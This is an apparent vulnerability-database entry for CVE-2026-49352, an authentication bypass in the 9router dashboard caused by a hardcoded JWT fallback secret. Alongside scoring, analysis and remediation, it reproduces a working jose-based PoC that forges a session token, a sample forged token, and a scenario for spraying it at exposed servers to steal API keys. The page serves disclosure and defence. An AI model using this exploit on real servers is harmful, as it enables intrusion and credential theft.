Skip to main content

9router CVE-2026-49352

CRITICAL
Use of Hard-coded Credentials (CWE-798)
2026-07-02 https://github.com/decolua/9router GHSA-jphh-m39h-6gwx
9.8
CVSS 3.1 · Vendor: https://github.com/decolua/9router
Share

Severity by source

Vendor (https://github.com/decolua/9router) PRIMARY
9.8 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
vuln.today AI
9.8 CRITICAL

Remote unauthenticated token forgery against the vulnerable default (JWT_SECRET unset) needs no privileges or interaction, and full dashboard/API control yields high C/I/A.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/decolua/9router).

CVSS VectorVendor: https://github.com/decolua/9router

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

2
Analysis Generated
Jul 02, 2026 - 21:23 vuln.today
CVE Published
Jul 02, 2026 - 20:56 github-advisory
CRITICAL 9.8

DescriptionCVE.org

Summary

9router uses a publicly known hardcoded string "9router-default-secret-change-me" as the fallback of JWT secret for all Dashboard session JWTs when the JWT_SECRET environment variable is not set. Because this secret is committed in the public repository and unchanged across all releases, any unauthenticated remote attacker can forge a valid auth_token cookie and gain full access to dashboard and api (If JWT_SECRET is not set on server) . This vulnerable affected so many public 9router server

Details

VersionsFileNote
>= 0.2.21, <= 0.4.30src/app/api/auth/login/route.js + src/middleware.jsIntroduced in commit 23cfb19
>= 0.4.31, <= 0.4.41src/lib/auth/dashboardSession.jsRelocated by OIDC refactor c3d91b0, secret unchanged

Vulnerable Code

v0.2.21 - v0.4.30 - src/app/api/auth/login/route.js and src/middleware.js:

js
const SECRET = new TextEncoder().encode(
  process.env.JWT_SECRET || "9router-default-secret-change-me"
);

v0.4.31 - v0.4.41 (current) - src/lib/auth/dashboardSession.js (centralized via OIDC refactor, commit c3d91b0):

js
const SECRET = new TextEncoder().encode(
  process.env.JWT_SECRET || "9router-default-secret-change-me"
);

The fallback string was introduced in commit 23cfb19 (2026-01-09) and has never been removed. The OIDC refactor in c3d91b0 only relocated it to a shared module . This vulnerability has existed since 9router first introduced authentication.

PoC

Step 1. Craft a JWT signed with the known default secret:

js
import { SignJWT } from "jose";

const SECRET = new TextEncoder().encode("9router-default-secret-change-me");

const token = await new SignJWT({ authenticated: true })
  .setProtectedHeader({ alg: "HS256" })
  .setIssuedAt()
  .setExpirationTime("36y")
  .sign(SECRET);

console.log(token); // example a valid auth_token=eyJhbGciOiJIUzI1NiJ9.eyJhdXRoZW50aWNhdGVkIjp0cnVlLCJpYXQiOjE3Nzg3Njk4NTYsImV4cCI6MjkxNDg0MzQ1Nn0.enMLEqYZKFuzxkmRH6qd3E-Ub-20wOjmiEfP4KyIG6w

Step 2. Set the forged token as the auth_token cookie. And access the http://<target>/dashboard - completely authentication bypass

Attack Scenario:

  • Attacker can use this JWT to spray to all server that they found in the internet and gain dashboard access if a server doesn't set JWT_SECRET
  • Then they can steal valuable API Key , Auth Token via http:// target /api/settings/database

Impact

  • A successful attack grants attacker full API Key, Auth Token that 9router hold
  • They can read 9router apikey, change 9router password ,shutdown 9router, Modify everything
  • Pivot via the MCP stdio→SSE bridge exposed at /api/mcp/ (exploit CVE-2026-46339)

Recommended Fix

Require JWT_SECRET at startup and fail fast rather than falling back silently:

js
const jwtSecret = process.env.JWT_SECRET;
if (!jwtSecret) {
  throw new Error(
    "JWT_SECRET environment variable is not set. " +
    "Generate one with: openssl rand -hex 32"
  );
}
const SECRET = new TextEncoder().encode(jwtSecret);

Alternatively, auto-generate a random secret on first boot and persist it to the data directory - but never fall back to a publicly known constant.

AnalysisAI

Authentication bypass in 9router (>= 0.2.21 through 0.4.41) lets any unauthenticated remote attacker forge a valid dashboard session cookie because the JWT signing key falls back to the publicly committed hardcoded string "9router-default-secret-change-me" whenever the JWT_SECRET environment variable is unset. Since this secret is identical across every release and visible in the public repository, an attacker can pre-compute a valid auth_token, bypass the /dashboard login, and reach every API endpoint to steal stored API keys and auth tokens or take over the instance. Publicly available exploit code exists (the advisory ships a working jose-based PoC); there is no CISA KEV listing and no confirmed active exploitation at time of analysis.

Technical ContextAI

9router is a Node.js/Next.js application (distributed as the npm package pkg:npm/9router) whose dashboard session layer uses the jose library to issue HS256-signed JWTs stored in an auth_token cookie, validated by middleware against a symmetric secret. The root cause is CWE-798 (Use of Hard-coded Credentials): the code path new TextEncoder().encode(process.env.JWT_SECRET || "9router-default-secret-change-me") silently substitutes a known public constant when the operator does not provide JWT_SECRET. Because HMAC-based JWT verification only proves the signer knew the secret, and that secret is published in the source tree, the signature check provides zero security. The fallback was introduced in commit 23cfb19 (2026-01-09) in src/app/api/auth/login/route.js and src/middleware.js, then merely relocated (not fixed) by the OIDC refactor commit c3d91b0 into the shared module src/lib/auth/dashboardSession.js.

RemediationAI

The immediate fix is to set a strong, unique JWT_SECRET environment variable on every 9router server (for example JWT_SECRET=$(openssl rand -hex 32)) so the hardcoded fallback is never used; this instantly invalidates any forged tokens and requires no code change. The upstream recommended fix requires JWT_SECRET at startup and fails fast rather than falling back silently (or auto-generates and persists a random secret on first boot); the fix is published as advisory GHSA-jphh-m39h-6gwx, but no specific fixed release version is identified in the provided data, so treat setting JWT_SECRET as the primary control and upgrade once the vendor confirms a patched version. After setting the secret, rotate everything 9router held - stored API keys, auth tokens, and the dashboard password - since a prior attacker with a forged token could have read or altered them. As a compensating control until a fix is confirmed, restrict network exposure of the dashboard and /api endpoints (bind to localhost or place behind a VPN/reverse proxy with IP allowlisting) and specifically lock down /api/settings/database and the /api/mcp/ bridge; the trade-off is reduced remote accessibility for legitimate operators.

CVE-2014-0160 HIGH POC
7.5 Apr 07

The (1) TLS and (2) DTLS implementations in OpenSSL 1.0.1 before 1.0.1g do not properly handle Heartbeat Extension packe

CVE-2014-0195 MEDIUM POC
6.8 Jun 05

The dtls1_reassemble_fragment function in d1_both.c in OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2016-0800 MEDIUM POC
5.9 Mar 01

The SSLv2 protocol, as used in OpenSSL before 1.0.1s and 1.0.2 before 1.0.2g and other products, requires a server to se

CVE-2015-0204 MEDIUM POC
4.3 Jan 09

The ssl3_get_key_exchange function in s3_clnt.c in OpenSSL before 0.9.8zd, 1.0.0 before 1.0.0p, and 1.0.1 before 1.0.1k

CVE-2014-3566 LOW POC
3.4 Oct 15

The SSL protocol 3.0, as used in OpenSSL through 1.0.1i and other products, uses nondeterministic CBC padding, which mak

CVE-2016-2107 MEDIUM POC
5.9 May 05

The AES-NI implementation in OpenSSL before 1.0.1t and 1.0.2 before 1.0.2h does not consider memory allocation during a

CVE-2015-1793 MEDIUM POC
6.5 Jul 09

The X509_verify_cert function in crypto/x509/x509_vfy.c in OpenSSL 1.0.1n, 1.0.1o, 1.0.2b, and 1.0.2c does not properly

CVE-2022-3602 HIGH
7.5 Nov 01

A buffer overrun can be triggered in X.509 certificate verification, specifically in name constraint checking. Rated hig

CVE-2014-3470 MEDIUM
4.3 Jun 05

The ssl3_send_client_key_exchange function in s3_clnt.c in OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before

CVE-2017-3730 HIGH POC
7.5 May 04

In OpenSSL 1.1.0 before 1.1.0d, if a malicious server supplies bad parameters for a DHE or ECDHE key exchange then this

CVE-2016-8610 HIGH
7.5 Nov 13

A denial of service flaw was found in OpenSSL 0.9.8, 1.0.1, 1.0.2 through 1.0.2h, and 1.1.0 in the way the TLS/SSL proto

Share

CVE-2026-49352 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy